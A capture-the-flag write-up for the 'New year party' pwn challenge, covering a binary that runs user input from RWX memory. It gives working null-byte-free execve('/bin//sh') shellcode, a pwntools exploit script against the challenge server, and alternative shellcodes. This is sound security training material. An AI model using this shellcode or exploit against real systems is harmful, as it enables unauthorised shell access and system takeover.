New year party
New year party
Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-11 | Status: Solved Techniques: rwx_memory_execution, shellcode_injection
Summary
Task: Binary that allocates RWX memory via mmap, copies user input with strcpy, and executes it as code. Solution: Sent a null-byte-free execve("/bin//sh") shellcode that bypasses the strcpy null terminator restriction, obtained a shell, and ran /bin/newyear to get the flag.
New year party - grodno_new_year_2026
Challenge Info
- Server: nc ctf.mf.grsu.by 9075
- Points: 500
- Category: Pwn
Description
"Я пришёл на необычную новогоднюю вечеринку. Вам нужно вызвать /bin/newyear/"
(English: "I came to a funny New Year's Eve party. You need to call /bin/newyear/")
Binary Protections
$ checksec task
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Key observations:
- No canary - no stack protection
- No PIE - fixed addresses at 0x400000
- NX enabled - but irrelevant since program creates RWX memory
Vulnerability Analysis
The binary implements a classic shellcode injection vulnerability:
c read-only • copy allowedint main() { // 1. Create RWX memory region void *mem = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); // 2. Print banner puts("Help Santa and save the holiday"); fflush(stdout); // 3. Read user input (up to 1024 bytes) char buf[0x400]; fgets(buf, 0x400, stdin); // 4. Copy to executable memory strcpy(mem, buf); // 5. EXECUTE USER INPUT AS CODE! ((void(*)())mem)(); return 0; }
Attack Vector
The program:
- Allocates memory with READ+WRITE+EXECUTE permissions via
mmap() - Reads user input into a buffer
- Copies it to the executable memory region using
strcpy() - Calls the memory region as a function - executing our input as machine code!
Constraint: No Null Bytes
Since strcpy() is used for copying, the shellcode cannot contain null bytes (0x00) as strcpy() stops at the first null byte.
Exploitation
Strategy
- Send a null-byte-free shellcode that spawns
/bin/sh - Get a shell on the server
- Execute
/bin/newyearwhich prints the flag
Shellcode
Standard execve("/bin//sh", NULL, NULL) shellcode without null bytes:
4831f64831d25248b82f62696e2f2f7368504889e74831c0b03b0f05
Assembly breakdown:
asm read-only • copy allowedxor rsi, rsi ; argv = NULL xor rdx, rdx ; envp = NULL push rdx ; null terminator on stack movabs rax, 0x68732f2f6e69622f ; "/bin//sh" (double slash to avoid null) push rax ; push string to stack mov rdi, rsp ; rdi = pointer to "/bin//sh" xor rax, rax ; clear rax mov al, 0x3b ; syscall number for execve (59) syscall ; execute!
Note: We use "/bin//sh" instead of "/bin/sh" to make the string exactly 8 bytes, avoiding null bytes in the immediate value.
Exploit Code
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * def exploit(): # Standard /bin/sh shellcode (no null bytes) # execve("/bin//sh", NULL, NULL) shellcode = bytes.fromhex( "4831f6" # xor rsi, rsi "4831d2" # xor rdx, rdx "52" # push rdx "48b82f62696e2f2f7368" # movabs rax, "/bin//sh" "50" # push rax "4889e7" # mov rdi, rsp "4831c0" # xor rax, rax "b03b" # mov al, 0x3b "0f05" # syscall ) r = remote('ctf.mf.grsu.by', 9075) # Receive banner print(r.recvline().decode()) # Send shellcode r.sendline(shellcode) # We now have a shell - execute /bin/newyear to get the flag r.sendline(b'/bin/newyear') # Get output output = r.recvall(timeout=3) print(output.decode()) r.close() if __name__ == '__main__': exploit()
Execution
$ python3 solve.py
Help Santa and save the holiday
grodno{REDACTED}
Lessons Learned
- RWX memory is dangerous - Never allocate memory with execute permissions if not absolutely necessary
- Executing user input - The program directly executes user-controlled data as code
- strcpy limitation - When using
strcpy(), shellcode must be null-byte free - The
/bin/newyearwas a simple bash script that echoed the flag
Alternative Shellcodes
If the standard shellcode doesn't work, here are alternatives:
Shorter version (23 bytes):
asm read-only • copy allowedxor esi, esi mul esi push rax mov rbx, 0x68732f2f6e69622f push rbx push rsp pop rdi mov al, 59 syscall
Using /bin/sh with push technique:
asm read-only • copy allowedxor rsi, rsi xor rdx, rdx push rsi mov rdi, 0x68732f6e69622f2f bswap rdi shr rdi, 8 push rdi push rsp pop rdi push 59 pop rax syscall
Files
task- vulnerable binarysolve.py- working exploit